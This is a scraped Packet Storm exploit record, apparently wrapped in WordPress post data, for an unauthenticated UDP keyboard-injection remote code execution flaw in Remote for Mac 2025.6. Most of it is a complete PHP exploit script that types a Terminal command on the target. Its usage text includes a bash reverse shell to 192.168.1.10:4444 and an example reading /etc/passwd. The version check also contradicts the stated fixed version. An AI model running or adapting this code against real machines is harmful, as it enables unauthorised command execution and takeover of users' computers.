{“lastseen”:”2026-02-18T17:34:51″,”description”:”A remote code execution vulnerability exists in Remote for Mac version 2025.6. When the \\”Allow unknown devices\\” option is enabled, the application accepts unauthenticated key input over UDP on port 1947. By sending a crafted sequence of UDP packets…”,”published”:”2026-02-18T00:00:00″,”modified”:”2026-02-18T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Remote for Mac 2025.6 Unauthenticated UDP Keyboard Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:215811″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title : Remote for Mac 2025.6 Unauthenticated UDP Keyboard RCE |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/remote-for-mac.macupdate.com |\\n =============================================================================================================================================\\n \\n [+] Summary : A remote code execution vulnerability exists in Remote for Mac version 2025.6. When the \\”Allow unknown devices\\” option is enabled, \\n the application accepts unauthenticated key input over UDP on port 1947. By sending a crafted sequence of UDP packets that simulate keyboard events, \\n an attacker can remotely open a Terminal window and execute arbitrary system commands as the current user.\\n \\n The flaw arises from the lack of authentication and insufficient validation of incoming UDP packets. The attacker can transmit UTF\u201116LE encoded characters representing command input, \\n allowing full command execution without prior access or authentication.\\n Successful exploitation results in full remote shell execution, allowing post\u2011exploitation actions such as arbitrary command execution, reverse shells, or privilege escalation attempts.\\n The issue has been tested and confirmed reproducible against version 2025.6. Later versions (2025.7 and above) are not affected.\\n \\n POC : \\n \\n # Test connection only\\n \\n php exploit.php 192.168.1.100 –test\\n \\n # Execute exploit with default command\\n \\n php exploit.php 192.168.1.100 –exploit\\n \\n # Execute exploit with custom command\\n \\n php exploit.php 192.168.1.100 –exploit –payload ‘cat \/etc\/passwd’\\n \\n # With different HTTPS port\\n \\n php exploit.php 192.168.1.100 –exploit –port 8443 –payload ‘whoami’\\n \\n ====================\\n \\u003c?php\\n \\n class RemoteMacExploit {\\n private $target;\\n private $port;\\n private $payload;\\n \\n public function __construct($target, $port = 80, $payload = ‘id’) {\\n $this-\\u003etarget = $target;\\n $this-\\u003eport = $port;\\n $this-\\u003epayload = $payload;\\n }\\n \\n public function check() {\\n $url = \\”https:\/\/{$this-\\u003etarget}:{$this-\\u003eport}\/api\/getVersion\\”;\\n \\n try {\\n $ch = curl_init();\\n curl_setopt_array($ch, [\\n CURLOPT_URL =\\u003e $url,\\n CURLOPT_RETURNTRANSFER =\\u003e true,\\n CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n CURLOPT_TIMEOUT =\\u003e 10\\n ]);\\n \\n $response = curl_exec($ch);\\n $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n curl_close($ch);\\n \\n if ($httpCode !== 200) {\\n return \\”Application might not be Remote For Mac\\”;\\n }\\n \\n $json = json_decode($response, true);\\n \\n if (!isset($json[‘requires.auth’])) {\\n return \\”Could not determine authentication status\\”;\\n }\\n \\n if ($json[‘requires.auth’] !== false \\u0026\\u0026 $json[‘requires.auth’] !== ‘false’) {\\n return \\”Remote For Mac detected, but authentication enabled\\”;\\n }\\n \\n if (!isset($json[‘version’])) {\\n return \\”Could not determine target version\\”;\\n }\\n \\n $version = $json[‘version’];\\n $targetVersion = $this-\\u003eparseVersion($version);\\n $vulnerableVersion = $this-\\u003eparseVersion(‘2025.7’);\\n \\n if ($targetVersion \\u003c= $vulnerableVersion) {\\n return \\”VULNERABLE: Detected vulnerable version {$version} with authentication disabled\\”;\\n }\\n \\n return \\”SAFE: Target version {$version} is not vulnerable\\”;\\n \\n } catch (Exception $e) {\\n return \\”Error during check: \\” . $e-\\u003egetMessage();\\n }\\n }\\n \\n public function exploit() {\\n $initialPacketsHex = [\\n ‘07000200370001’,\\n ‘07000200370001’,\\n ‘060003002000’,\\n ‘07000200370000’,\\n ‘07000200370000’\\n ];\\n \\n $finalPacketsHex = [\\n ‘07000200240001’,\\n ‘07000200240000’\\n ];\\n \\n $socket = $this-\\u003econnectUDP();\\n if (!$socket) {\\n echo \\”[-] Failed to create UDP socket\\\\n\\”;\\n return false;\\n }\\n \\n echo \\”[+] Simulating system keyboard input to open Terminal…\\\\n\\”;\\n \\n foreach ($initialPacketsHex as $hexPacket) {\\n $packet = hex2bin($hexPacket);\\n $this-\\u003esendUDP($socket, $packet);\\n usleep(50000); \\n }\\n \\n $prefix = hex2bin(‘06000300’);\\n $word = ‘terminal’;\\n \\n for ($i = 0; $i \\u003c strlen($word); $i++) {\\n $char = $word[$i];\\n $utf16 = mb_convert_encoding($char, ‘UTF-16LE’, ‘UTF-8’);\\n $packet = $prefix . $utf16;\\n $this-\\u003esendUDP($socket, $packet);\\n usleep(100000); \\n }\\n \\n foreach ($finalPacketsHex as $hexPacket) {\\n $packet = hex2bin($hexPacket);\\n $this-\\u003esendUDP($socket, $packet);\\n }\\n \\n echo \\”[+] Initial sequence finished, waiting for terminal to be spawned…\\\\n\\”;\\n sleep(2);\\n \\n echo \\”[+] Sending malicious payload to be executed…\\\\n\\”;\\n \\n for ($i = 0; $i \\u003c strlen($this-\\u003epayload); $i++) {\\n $char = $this-\\u003epayload[$i];\\n $utf16 = mb_convert_encoding($char, ‘UTF-16LE’, ‘UTF-8’);\\n $packet = $prefix . $utf16;\\n $this-\\u003esendUDP($socket, $packet);\\n usleep(100000); \\n }\\n \\n foreach ($finalPacketsHex as $hexPacket) {\\n $packet = hex2bin($hexPacket);\\n $this-\\u003esendUDP($socket, $packet);\\n }\\n \\n echo \\”[+] Payload sent\\\\n\\”;\\n $this-\\u003ecloseUDP($socket);\\n \\n return true;\\n }\\n \\n private function connectUDP() {\\n $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);\\n if (!$socket) {\\n echo \\”[-] Socket error: \\” . socket_strerror(socket_last_error()) . \\”\\\\n\\”;\\n return false;\\n }\\n \\n return $socket;\\n }\\n \\n private function sendUDP($socket, $data) {\\n \\n $result = socket_sendto($socket, $data, strlen($data), 0, $this-\\u003etarget, 1947);\\n if ($result === false) {\\n echo \\”[-] UDP send error: \\” . socket_strerror(socket_last_error($socket)) . \\”\\\\n\\”;\\n return false;\\n }\\n return $result;\\n }\\n \\n private function closeUDP($socket) {\\n socket_close($socket);\\n }\\n \\n private function parseVersion($versionString) {\\n $parts = explode(‘.’, $versionString);\\n $major = isset($parts[0]) ? (int)$parts[0] : 0;\\n $minor = isset($parts[1]) ? (int)$parts[1] : 0;\\n $patch = isset($parts[2]) ? (int)$parts[2] : 0;\\n \\n return $major * 10000 + $minor * 100 + $patch;\\n }\\n \\n public function test() {\\n echo \\”[*] Testing connection to {$this-\\u003etarget}…\\\\n\\”;\\n echo \\”[*] Checking HTTP API…\\\\n\\”;\\n $checkResult = $this-\\u003echeck();\\n echo \\”[*] Check result: {$checkResult}\\\\n\\”;\\n echo \\”[*] Testing UDP connectivity to port 1947…\\\\n\\”;\\n $socket = $this-\\u003econnectUDP();\\n if ($socket) {\\n echo \\”[+] UDP socket created successfully\\\\n\\”;\\n \\n $testPacket = hex2bin(‘07000200370001’);\\n $result = $this-\\u003esendUDP($socket, $testPacket);\\n if ($result !== false) {\\n echo \\”[+] UDP test packet sent successfully\\\\n\\”;\\n } else {\\n echo \\”[-] Failed to send UDP packet\\\\n\\”;\\n }\\n \\n $this-\\u003ecloseUDP($socket);\\n } else {\\n echo \\”[-] Failed to create UDP socket\\\\n\\”;\\n }\\n }\\n }\\n \\n if (php_sapi_name() === ‘cli’) {\\n if ($argc \\u003c 2) {\\n echo \\”Remote for Mac 2025.6 Unauthenticated RCE Exploit (PHP)\\\\n\\”;\\n echo \\” By Indoushka \\\\n\\”;\\n echo \\”=====================================================\\\\n\\”;\\n echo \\”Usage: php exploit.php \\u003ctarget_ip\\u003e [options]\\\\n\\”;\\n echo \\”\\\\n\\”;\\n echo \\”Options:\\\\n\\”;\\n echo \\” \\u003ctarget_ip\\u003e Target IP address\\\\n\\”;\\n echo \\” –port \\u003cport\\u003e HTTPS port (default: 443)\\\\n\\”;\\n echo \\” –payload \\u003ccmd\\u003e Command to execute (default: ‘id’)\\\\n\\”;\\n echo \\” –test Test connectivity only\\\\n\\”;\\n echo \\” –exploit Run full exploit\\\\n\\”;\\n echo \\”\\\\n\\”;\\n echo \\”Examples:\\\\n\\”;\\n echo \\” php exploit.php 192.168.1.100 –test\\\\n\\”;\\n echo \\” php exploit.php 192.168.1.100 –exploit –payload ‘whoami’\\\\n\\”;\\n echo \\” php exploit.php 192.168.1.100 –exploit –port 8443 –payload ‘bash -i \\u003e\\u0026 \/dev\/tcp\/192.168.1.10\/4444 0\\u003e\\u00261’\\\\n\\”;\\n exit(1);\\n }\\n \\n $target = $argv[1];\\n $port = 443; \\n $payload = ‘id’;\\n $action = ‘test’; \\n \\n for ($i = 2; $i \\u003c $argc; $i++) {\\n if ($argv[$i] === ‘–port’ \\u0026\\u0026 isset($argv[$i + 1])) {\\n $port = $argv[$i + 1];\\n $i++;\\n } elseif ($argv[$i] === ‘–payload’ \\u0026\\u0026 isset($argv[$i + 1])) {\\n $payload = $argv[$i + 1];\\n $i++;\\n } elseif ($argv[$i] === ‘–test’) {\\n $action = ‘test’;\\n } elseif ($argv[$i] === ‘–exploit’) {\\n $action = ‘exploit’;\\n }\\n }\\n \\n $exploit = new RemoteMacExploit($target, $port, $payload);\\n \\n if ($action === ‘test’) {\\n $exploit-\\u003etest();\\n } elseif ($action === ‘exploit’) {\\n echo \\”[*] Checking target…\\\\n\\”;\\n $result = $exploit-\\u003echeck();\\n echo \\”[*] Check result: {$result}\\\\n\\”;\\n \\n if (strpos($result, ‘VULNERABLE’) !== false) {\\n echo \\”[*] Attempting exploitation…\\\\n\\”;\\n $success = $exploit-\\u003eexploit();\\n echo $success ? \\”[+] Exploitation completed\\\\n\\” : \\”[-] Exploitation failed\\\\n\\”;\\n } else {\\n echo \\”[-] Target is not vulnerable, skipping exploitation\\\\n\\”;\\n }\\n }\\n }\\n \\n ?\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215811″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215811\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-18T17:34:51″,”description”:”A remote code execution vulnerability exists in Remote for Mac version 2025.6. When the \\”Allow unknown devices\\” option is enabled, the application accepts unauthenticated key…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-41407","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n